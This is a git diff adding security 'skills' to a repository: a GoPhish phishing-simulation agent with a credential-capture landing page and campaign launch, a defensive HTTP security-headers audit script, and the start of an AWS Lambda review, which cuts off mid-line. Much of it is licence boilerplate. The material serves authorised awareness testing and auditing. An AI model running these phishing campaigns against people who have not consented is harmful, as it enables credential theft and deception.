SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-red-team-phishing-with-gophish/SKILL.md b/skills/performing-red-team-phishing-with-gophish/SKILL.md new file mode 100644 index 00000000..623a1113 --- /dev/null +++ b/skills/performing-red-team-phishing-with-gophish/SKILL.md @@ -0,0 +1,38 @@ +--- +name: performing-red-team-phishing-with-gophish +description: >- + Automate GoPhish phishing simulation campaigns using the Python gophish library. Creates email + templates with tracking pixels, configures SMTP sending profiles, builds target groups from + CSV, launches campaigns, and analyzes results including open rates, click rates, and credential + submission statistics for security awareness assessment. +--- + +## Instructions + +1. Install dependencies: `pip install gophish requests` +2. Deploy GoPhish server and obtain an API key from Settings. +3. Use the Python gophish library to automate campaign setup: + - Create email templates with HTML body and tracking + - Configure SMTP sending profiles + - Import target groups from CSV + - Create landing pages for credential capture + - Launch and monitor campaigns +4. Analyze campaign results: opens, clicks, submitted data, reported. + +```bash +# For authorized penetration testing and lab environments only +python scripts/agent.py --gophish-url https://localhost:3333 --api-key --campaign-name "Q1 Awareness" --output phishing_report.json +``` + +## Examples + +### Create Campaign via API +```python +from gophish import Gophish +from gophish.models import Campaign, Template, Group, SMTP, Page +api = Gophish("api_key", host="https://localhost:3333", verify=False) +campaign = Campaign(name="Q1 Test", groups=[Group(name="Sales Team")], + template=Template(name="IT Password Reset"), smtp=SMTP(name="Internal SMTP"), + page=Page(name="Credential Page")) +api.campaigns.post(campaign) +``` diff --git a/skills/performing-red-team-phishing-with-gophish/references/api-reference.md b/skills/performing-red-team-phishing-with-gophish/references/api-reference.md new file mode 100644 index 00000000..a0abf852 --- /dev/null +++ b/skills/performing-red-team-phishing-with-gophish/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: GoPhish Phishing Simulation + +## Python gophish Library + +### Constructor +```python +from gophish import Gophish +api = Gophish(api_key, host="https://localhost:3333", verify=False) +``` + +### Campaigns +```python +api.campaigns.get() # List all campaigns +api.campaigns.get(campaign_id=1) # Get specific campaign +api.campaigns.post(campaign) # Create and launch campaign +api.campaigns.summary(campaign_id=1) # Get campaign summary +api.campaigns.delete(campaign_id=1) # Delete campaign +``` + +### Templates +```python +api.templates.get() # List templates +api.templates.post(template) # Create template +Template(name="...", subject="...", html="...", text="...") +``` + +### Groups +```python +api.groups.get() # List groups +api.groups.post(group) # Create group +Group(name="...", targets=[User(first_name="", last_name="", email="")]) +``` + +### SMTP Profiles +```python +api.smtp.get() +api.smtp.post(smtp) +SMTP(name="...", from_address="...", host="smtp:587", username="", password="") +``` + +### Landing Pages +```python +api.pages.get() +api.pages.post(page) +Page(name="...", html="...", capture_credentials=True, redirect_url="") +``` + +## Campaign Model +```python +Campaign( + name="Q1 Test", + template=Template(name="Existing Template"), + page=Page(name="Existing Page"), + smtp=SMTP(name="Existing Profile"), + groups=[Group(name="Existing Group")], + url="https://phish.example.com", + launch_date="2024-01-15T09:00:00+00:00" # ISO8601 +) +``` + +## Result Statuses +| Status | Meaning | +|--------|---------| +| Email Sent | Email delivered | +| Email Opened | Tracking pixel loaded | +| Clicked Link | Phishing URL clicked | +| Submitted Data | Credentials entered | +| Reported | User reported phishing | diff --git a/skills/performing-red-team-phishing-with-gophish/scripts/agent.py b/skills/performing-red-team-phishing-with-gophish/scripts/agent.py new file mode 100644 index 00000000..ca05fd61 --- /dev/null +++ b/skills/performing-red-team-phishing-with-gophish/scripts/agent.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python3 +# For authorized penetration testing and lab environments only +"""GoPhish Campaign Agent - Automates phishing simulation setup, launch, and analysis.""" + +import json +import csv +import logging +import argparse +from datetime import datetime + +from gophish import Gophish +from gophish.models import Campaign, Template, Group, SMTP, Page, User + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def connect_gophish(api_key, host): + """Connect to GoPhish server via API.""" + api = Gophish(api_key, host=host, verify=False) + logger.info("Connected to GoPhish at %s", host) + return api + + +def create_email_template(api, name, subject, html_body, text_body=""): + """Create an email template in GoPhish.""" + template = Template(name=name, subject=subject, html=html_body, text=text_body) + result = api.templates.post(template) + logger.info("Created template: %s (ID: %d)", result.name, result.id) + return result + + +def create_landing_page(api, name, html_content, capture_credentials=True, redirect_url=""): + """Create a landing page for credential capture.""" + page = Page( + name=name, + html=html_content, + capture_credentials=capture_credentials, + redirect_url=redirect_url, + ) + result = api.pages.post(page) + logger.info("Created landing page: %s (ID: %d)", result.name, result.id) + return result + + +def create_smtp_profile(api, name, smtp_from, host, port=587, username="", password="", ignore_cert=False): + """Create an SMTP sending profile.""" + smtp = SMTP( + name=name, + from_address=smtp_from, + host=f"{host}:{port}", + username=username, + password=password, + ignore_cert_errors=ignore_cert, + ) + result = api.smtp.post(smtp) + logger.info("Created SMTP profile: %s (ID: %d)", result.name, result.id) + return result + + +def import_targets_from_csv(api, group_name, csv_path): + """Import target users from a CSV file into a GoPhish group.""" + targets = [] + with open(csv_path, "r") as f: + reader = csv.DictReader(f) + for row in reader: + targets.append(User( + first_name=row.get("first_name", ""), + last_name=row.get("last_name", ""), + email=row.get("email", ""), + position=row.get("position", ""), + )) + group = Group(name=group_name, targets=targets) + result = api.groups.post(group) + logger.info("Created group '%s' with %d targets", group_name, len(targets)) + return result + + +def launch_campaign(api, name, template_name, page_name, smtp_name, group_name, url): + """Launch a phishing simulation campaign.""" + campaign = Campaign( + name=name, + template=Template(name=template_name), + page=Page(name=page_name), + smtp=SMTP(name=smtp_name), + groups=[Group(name=group_name)], + url=url, + ) + result = api.campaigns.post(campaign) + logger.info("Launched campaign: %s (ID: %d)", result.name, result.id) + return result + + +def get_campaign_results(api, campaign_id): + """Retrieve detailed results for a campaign.""" + campaign = api.campaigns.get(campaign_id=campaign_id) + results = { + "name": campaign.name, + "status": campaign.status, + "created_date": str(campaign.created_date), + "launch_date": str(campaign.launch_date), + "results": [], + } + for result in campaign.results: + results["results"].append({ + "email": result.email, + "first_name": result.first_name, + "last_name": result.last_name, + "status": result.status, + "reported": result.reported, + }) + return results + + +def analyze_campaign_metrics(campaign_results): + """Calculate campaign performance metrics.""" + results = campaign_results.get("results", []) + total = len(results) + if total == 0: + return {"total": 0} + statuses = {"Email Sent": 0, "Email Opened": 0, "Clicked Link": 0, "Submitted Data": 0, "Reported": 0} + for r in results: + status = r.get("status", "") + if status in statuses: + statuses[status] += 1 + if r.get("reported"): + statuses["Reported"] += 1 + metrics = { + "total_targets": total, + "emails_sent": statuses["Email Sent"], + "opened": statuses["Email Opened"], + "clicked": statuses["Clicked Link"], + "submitted_credentials": statuses["Submitted Data"], + "reported": statuses["Reported"], + "open_rate": round(statuses["Email Opened"] / total * 100, 1), + "click_rate": round(statuses["Clicked Link"] / total * 100, 1), + "submission_rate": round(statuses["Submitted Data"] / total * 100, 1), + "report_rate": round(statuses["Reported"] / total * 100, 1), + } + logger.info("Campaign metrics: %d targets, %.1f%% clicked, %.1f%% submitted", + total, metrics["click_rate"], metrics["submission_rate"]) + return metrics + + +def list_campaigns(api): + """List all campaigns and their statuses.""" + campaigns = api.campaigns.get() + return [{"id": c.id, "name": c.name, "status": c.status} for c in campaigns] + + +def generate_report(campaign_results, metrics): + """Generate phishing simulation report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "campaign": campaign_results.get("name"), + "status": campaign_results.get("status"), + "metrics": metrics, + "detailed_results": campaign_results.get("results", [])[:50], + } + print(f"PHISHING REPORT: {metrics.get('total_targets', 0)} targets, " + f"{metrics.get('click_rate', 0)}% click rate, " + f"{metrics.get('submission_rate', 0)}% credential submission") + return report + + +def main(): + parser = argparse.ArgumentParser(description="GoPhish Campaign Agent") + parser.add_argument("--gophish-url", required=True, help="GoPhish server URL") + parser.add_argument("--api-key", required=True, help="GoPhish API key") + parser.add_argument("--campaign-id", type=int, help="Existing campaign ID to analyze") + parser.add_argument("--campaign-name", help="Name for new campaign") + parser.add_argument("--template-name", help="Email template name") + parser.add_argument("--group-name", help="Target group name") + parser.add_argument("--targets-csv", help="CSV file with targets") + parser.add_argument("--output", default="phishing_report.json") + args = parser.parse_args() + + api = connect_gophish(args.api_key, args.gophish_url) + + if args.targets_csv and args.group_name: + import_targets_from_csv(api, args.group_name, args.targets_csv) + + if args.campaign_id: + results = get_campaign_results(api, args.campaign_id) + metrics = analyze_campaign_metrics(results) + report = generate_report(results, metrics) + else: + campaigns = list_campaigns(api) + report = {"campaigns": campaigns, "timestamp": datetime.utcnow().isoformat()} + logger.info("Listed %d campaigns", len(campaigns)) + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-s7comm-protocol-security-analysis/LICENSE b/skills/performing-s7comm-protocol-security-analysis/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-s7comm-protocol-security-analysis/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-sca-dependency-scanning-with-snyk/LICENSE b/skills/performing-sca-dependency-scanning-with-snyk/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-sca-dependency-scanning-with-snyk/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-scada-hmi-security-assessment/LICENSE b/skills/performing-scada-hmi-security-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-scada-hmi-security-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-second-order-sql-injection/LICENSE b/skills/performing-second-order-sql-injection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-second-order-sql-injection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-security-headers-audit/LICENSE b/skills/performing-security-headers-audit/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-security-headers-audit/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-security-headers-audit/references/api-reference.md b/skills/performing-security-headers-audit/references/api-reference.md new file mode 100644 index 00000000..758577f9 --- /dev/null +++ b/skills/performing-security-headers-audit/references/api-reference.md @@ -0,0 +1,44 @@ +# API Reference: Security Headers Audit + +## Security Headers Checked + +| Header | Recommended Value | Purpose | +|--------|------------------|---------| +| `Strict-Transport-Security` | `max-age=31536000; includeSubDomains; preload` | Force HTTPS | +| `Content-Security-Policy` | `script-src 'self' 'nonce-{random}'` | Restrict resource loading | +| `X-Frame-Options` | `DENY` | Prevent clickjacking | +| `X-Content-Type-Options` | `nosniff` | Prevent MIME sniffing | +| `Referrer-Policy` | `strict-origin-when-cross-origin` | Control referrer leakage | +| `Permissions-Policy` | `camera=(), microphone=(), geolocation=()` | Restrict browser features | + +## Cookie Security Attributes + +| Attribute | Description | +|-----------|-------------| +| `Secure` | Only send over HTTPS | +| `HttpOnly` | Not accessible via JavaScript | +| `SameSite=Strict` | No cross-site cookie sending | +| `Path=/` | Restrict cookie scope | + +## Online Scanners + +| Tool | URL | Description | +|------|-----|-------------| +| SecurityHeaders.com | https://securityheaders.com/ | Letter-grade assessment | +| Mozilla Observatory | https://observatory.mozilla.org/ | Comprehensive scoring | +| CSP Evaluator | https://csp-evaluator.withgoogle.com/ | CSP weakness analysis | +| Hardenize | https://www.hardenize.com/ | TLS and header monitoring | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | Fetch HTTP response headers | +| `re` | stdlib | Parse CSP directives and HSTS values | + +## References + +- OWASP Secure Headers: https://owasp.org/www-project-secure-headers/ +- MDN Security Headers: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers +- HSTS Preload: https://hstspreload.org/ +- CSP reference: https://content-security-policy.com/ diff --git a/skills/performing-security-headers-audit/scripts/agent.py b/skills/performing-security-headers-audit/scripts/agent.py new file mode 100644 index 00000000..c049974e --- /dev/null +++ b/skills/performing-security-headers-audit/scripts/agent.py @@ -0,0 +1,276 @@ +#!/usr/bin/env python3 +"""Agent for performing security headers audit. + +Analyzes HTTP response headers for HSTS, CSP, X-Frame-Options, +cookie security attributes, and information disclosure to identify +missing or misconfigured browser-level protections. +""" + +import requests +import json +import sys +import re +from urllib.parse import urlparse + + +class SecurityHeadersAgent: + """Audits HTTP security headers on web applications.""" + + def __init__(self, target_url): + self.target_url = target_url + if not target_url.startswith("http"): + self.target_url = f"https://{target_url}" + self.session = requests.Session() + self.session.verify = True + + def fetch_headers(self, path="/"): + """Fetch response headers from a target path.""" + url = f"{self.target_url.rstrip('/')}{path}" + try: + resp = self.session.get(url, timeout=10, allow_redirects=True) + return { + "url": url, + "status": resp.status_code, + "headers": dict(resp.headers), + "cookies": [ + {"name": c.name, "value": c.value[:20], "attributes": { + "secure": c.secure, "httponly": "httponly" in c._rest, + "samesite": c._rest.get("SameSite", c._rest.get("samesite", "Not set")), + "path": c.path, "domain": c.domain, + }} for c in resp.cookies + ], + } + except requests.RequestException as e: + return {"url": url, "error": str(e)} + + def check_hsts(self, headers): + """Check HTTP Strict Transport Security configuration.""" + hsts = headers.get("Strict-Transport-Security", headers.get("strict-transport-security", "")) + finding = { + "header": "Strict-Transport-Security", + "present": bool(hsts), + "value": hsts, + "severity": "High" if not hsts else "Info", + } + if hsts: + finding["has_includeSubDomains"] = "includesubdomains" in hsts.lower() + finding["has_preload"] = "preload" in hsts.lower() + max_age_match = re.search(r"max-age=(\d+)", hsts) + if max_age_match: + max_age = int(max_age_match.group(1)) + finding["max_age"] = max_age + finding["max_age_sufficient"] = max_age >= 31536000 + if max_age < 31536000: + finding["severity"] = "Medium" + finding["recommendation"] = "Increase max-age to at least 31536000 (1 year)" + else: + finding["recommendation"] = "Add: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload" + return finding + + def check_csp(self, headers): + """Analyze Content Security Policy for weaknesses.""" + csp = headers.get("Content-Security-Policy", headers.get("content-security-policy", "")) + report_only = headers.get("Content-Security-Policy-Report-Only", "") + + finding = { + "header": "Content-Security-Policy", + "present": bool(csp), + "value": csp[:500] if csp else "", + "report_only": bool(report_only), + "severity": "High" if not csp else "Info", + "issues": [], + } + + if csp: + if "'unsafe-inline'" in csp: + finding["issues"].append("unsafe-inline allows inline script execution (XSS risk)") + finding["severity"] = "High" + if "'unsafe-eval'" in csp: + finding["issues"].append("unsafe-eval allows eval() calls (XSS risk)") + finding["severity"] = "High" + if " * " in f" {csp} " or csp.strip().endswith("*"): + finding["issues"].append("Wildcard (*) allows loading from any origin") + finding["severity"] = "Medium" + if "default-src" not in csp: + finding["issues"].append("Missing default-src fallback directive") + if report_only and not csp: + finding["issues"].append("CSP is report-only, not enforcing") + finding["severity"] = "Medium" + else: + finding["recommendation"] = "Implement Content-Security-Policy with script-src using nonces" + + return finding + + def check_frame_options(self, headers): + """Check X-Frame-Options and frame-ancestors.""" + xfo = headers.get("X-Frame-Options", headers.get("x-frame-options", "")) + csp = headers.get("Content-Security-Policy", "") + frame_ancestors = "" + if "frame-ancestors" in csp: + match = re.search(r"frame-ancestors\s+([^;]+)", csp) + if match: + frame_ancestors = match.group(1).strip() + + finding = { + "header": "X-Frame-Options", + "present": bool(xfo), + "value": xfo, + "frame_ancestors": frame_ancestors, + "severity": "Medium" if not xfo and not frame_ancestors else "Info", + } + if not xfo and not frame_ancestors: + finding["recommendation"] = "Add X-Frame-Options: DENY or CSP frame-ancestors 'none'" + return finding + + def check_content_type_options(self, headers): + """Check X-Content-Type-Options.""" + xcto = headers.get("X-Content-Type-Options", headers.get("x-content-type-options", "")) + return { + "header": "X-Content-Type-Options", + "present": bool(xcto), + "value": xcto, + "correct": xcto.lower() == "nosniff" if xcto else False, + "severity": "Medium" if not xcto else "Info", + "recommendation": "Add: X-Content-Type-Options: nosniff" if not xcto else None, + } + + def check_referrer_policy(self, headers): + """Check Referrer-Policy.""" + rp = headers.get("Referrer-Policy", headers.get("referrer-policy", "")) + return { + "header": "Referrer-Policy", + "present": bool(rp), + "value": rp, + "severity": "Medium" if not rp else "Info", + "recommendation": "Add: Referrer-Policy: strict-origin-when-cross-origin" if not rp else None, + } + + def check_permissions_policy(self, headers): + """Check Permissions-Policy.""" + pp = headers.get("Permissions-Policy", headers.get("permissions-policy", "")) + return { + "header": "Permissions-Policy", + "present": bool(pp), + "value": pp[:200] if pp else "", + "severity": "Low" if not pp else "Info", + "recommendation": "Add: Permissions-Policy: camera=(), microphone=(), geolocation=()" if not pp else None, + } + + def check_info_disclosure(self, headers): + """Check for information disclosure headers.""" + findings = [] + disclosure_headers = ["Server", "X-Powered-By", "X-AspNet-Version", "X-Generator"] + for h in disclosure_headers: + value = headers.get(h, headers.get(h.lower(), "")) + if value: + findings.append({ + "header": h, + "value": value, + "severity": "Low", + "recommendation": f"Remove or genericize {h} header", + }) + return findings + + def check_cookie_security(self, cookies): + """Audit cookie security attributes.""" + findings = [] + for cookie in cookies: + attrs = cookie.get("attributes", {}) + issues = [] + if not attrs.get("secure"): + issues.append("Missing Secure flag") + if not attrs.get("httponly"): + issues.append("Missing HttpOnly flag") + samesite = str(attrs.get("samesite", "Not set")) + if samesite == "Not set" or samesite == "None": + issues.append(f"SameSite={samesite}") + + if issues: + findings.append({ + "cookie": cookie["name"], + "issues": issues, + "severity": "High" if "Secure" in str(issues) else "Medium", + }) + return findings + + def calculate_grade(self, header_findings): + """Calculate a letter grade based on findings.""" + score = 100 + for f in header_findings: + if not f.get("present", True): + sev = f.get("severity", "Info") + if sev == "High": + score -= 20 + elif sev == "Medium": + score -= 10 + elif sev == "Low": + score -= 5 + if f.get("issues"): + score -= len(f["issues"]) * 5 + + if score >= 90: + return "A" + elif score >= 80: + return "B" + elif score >= 60: + return "C" + elif score >= 40: + return "D" + return "F" + + def run_audit(self, paths=None): + """Run complete security headers audit.""" + if paths is None: + paths = ["/"] + + all_findings = [] + for path in paths: + response_data = self.fetch_headers(path) + if "error" in response_data: + continue + + headers = response_data["headers"] + findings = { + "path": path, + "hsts": self.check_hsts(headers), + "csp": self.check_csp(headers), + "x_frame_options": self.check_frame_options(headers), + "x_content_type_options": self.check_content_type_options(headers), + "referrer_policy": self.check_referrer_policy(headers), + "permissions_policy": self.check_permissions_policy(headers), + "info_disclosure": self.check_info_disclosure(headers), + "cookie_security": self.check_cookie_security(response_data.get("cookies", [])), + } + all_findings.append(findings) + + header_checks = [] + if all_findings: + f = all_findings[0] + header_checks = [f["hsts"], f["csp"], f["x_frame_options"], + f["x_content_type_options"], f["referrer_policy"], + f["permissions_policy"]] + + report = { + "target": self.target_url, + "audit_date": __import__("datetime").datetime.utcnow().isoformat(), + "grade": self.calculate_grade(header_checks), + "findings": all_findings, + } + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [path1,path2,...]") + sys.exit(1) + + target_url = sys.argv[1] + paths = sys.argv[2].split(",") if len(sys.argv) > 2 else ["/"] + + agent = SecurityHeadersAgent(target_url) + agent.run_audit(paths) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-serverless-function-security-review/LICENSE b/skills/performing-serverless-function-security-review/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-serverless-function-security-review/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-serverless-function-security-review/references/api-reference.md b/skills/performing-serverless-function-security-review/references/api-reference.md new file mode 100644 index 00000000..53ce12b7 --- /dev/null +++ b/skills/performing-serverless-function-security-review/references/api-reference.md @@ -0,0 +1,72 @@ +# API Reference: Serverless Function Security Review + +## Overview + +Agent automates Lambda security reviews using boto3 to audit execution roles, environment variable secrets, deprecated runtimes, and public access configurations. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| boto3 | >= 1.28 | AWS SDK for Lambda and IAM API calls | +| botocore | >= 1.31 | Exception handling for AWS API errors | + +## Core Functions + +### `list_all_functions(client)` +Paginates through all Lambda functions in the region. +- **Parameters**: `client` - boto3 Lambda client +- **Returns**: `list[dict]` - full function configuration objects + +### `check_deprecated_runtime(runtime)` +Checks if a Lambda runtime is end-of-life. +- **Parameters**: `runtime` (str) - Lambda runtime identifier +- **Returns**: `bool` - True if deprecated + +### `audit_execution_role(iam, role_arn)` +Inspects attached IAM policies for wildcard actions and AdministratorAccess. +- **Parameters**: `iam` - boto3 IAM client, `role_arn` (str) +- **Returns**: `list[str]` - finding descriptions + +### `check_env_secrets(env_vars)` +Scans environment variables for sensitive patterns (passwords, API keys, AWS credentials). +- **Parameters**: `env_vars` (dict) - Lambda environment variables +- **Returns**: `list[str]` - masked sensitive variable findings + +### `check_public_access(client, function_name)` +Checks resource-based policies and function URLs for unauthenticated access. +- **Parameters**: `client` - boto3 Lambda client, `function_name` (str) +- **Returns**: `list[str]` - public access findings + +### `run_review(region="us-east-1")` +Orchestrates the full review across all functions. Returns structured report dict. + +## AWS API Calls Used + +| API Call | Service | Purpose | +|----------|---------|---------| +| `list_functions` | Lambda | Enumerate all Lambda functions | +| `get_policy` | Lambda | Retrieve resource-based policy | +| `list_function_url_configs` | Lambda | Check function URL auth type | +| `list_attached_role_policies` | IAM | Get policies on execution role | +| `get_policy_version` | IAM | Read policy document for wildcards | + +## Environment Variables + +| Variable | Required | Description | +|----------|----------|-------------| +| `AWS_ACCESS_KEY_ID` | Yes | AWS credential (or use IAM role) | +| `AWS_SECRET_ACCESS_KEY` | Yes | AWS credential (or use IAM role) | +| `AWS_DEFAULT_REGION` | No | Defaults to us-east-1 | + +## Output Schema + +```json +{ + "total_functions": 34, + "deprecated_runtimes": [{"function": "name", "runtime": "python3.7"}], + "role_findings": ["CRITICAL: Role X has AdministratorAccess"], + "secret_findings": [{"function": "name", "finding": "SENSITIVE: DB_PASSWORD = prod****word"}], + "public_access_findings": ["PUBLIC ACCESS: func allows public invocation"] +} +``` diff --git a/skills/performing-serverless-function-security-review/scripts/agent.py b/skills/performing-serverless-function-security-review/scripts/agent.py new file mode 100644 index 00000000..baf9062f --- /dev/null +++ b/skills/performing-serverless-function-security-review/scripts/agent.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python3 +"""Serverless function security review agent using boto3.""" + +import json +import re +import boto3 +from botocore.exceptions import ClientError + + +def get_lambda_client(region="us-east-1"): + return boto3.client("lambda", region_name=region) + + +def get_iam_client(region="us-east-1"): + return boto3.client("iam", region_name=region) + + +def list_all_functions(client): + functions = [] + paginator = client.get_paginator("list_functions") + for page in paginator.paginate(): + functions.extend(page["Functions"]) + return functions + + +def check_deprecated_runtime(runtime): + deprecated = [ + "python2.7", "python3.6", "python3.7", "nodejs10.x", + "nodejs12.x", "nodejs14.x", "dotnetcore2.1", "dotnetcore3.1", + "ruby2.5", "java8", "go1.x", + ] + return runtime in deprecated + + +def audit_execution_role(iam, role_arn): + findings = [] + role_name = role_arn.split("/")[-1] + try: + attached = iam.list_attached_role_policies(RoleName=role_name) + for policy in attached["AttachedPolicies"]: + if policy["PolicyName"] == "AdministratorAccess": + findings.append(f"CRITICAL: Role 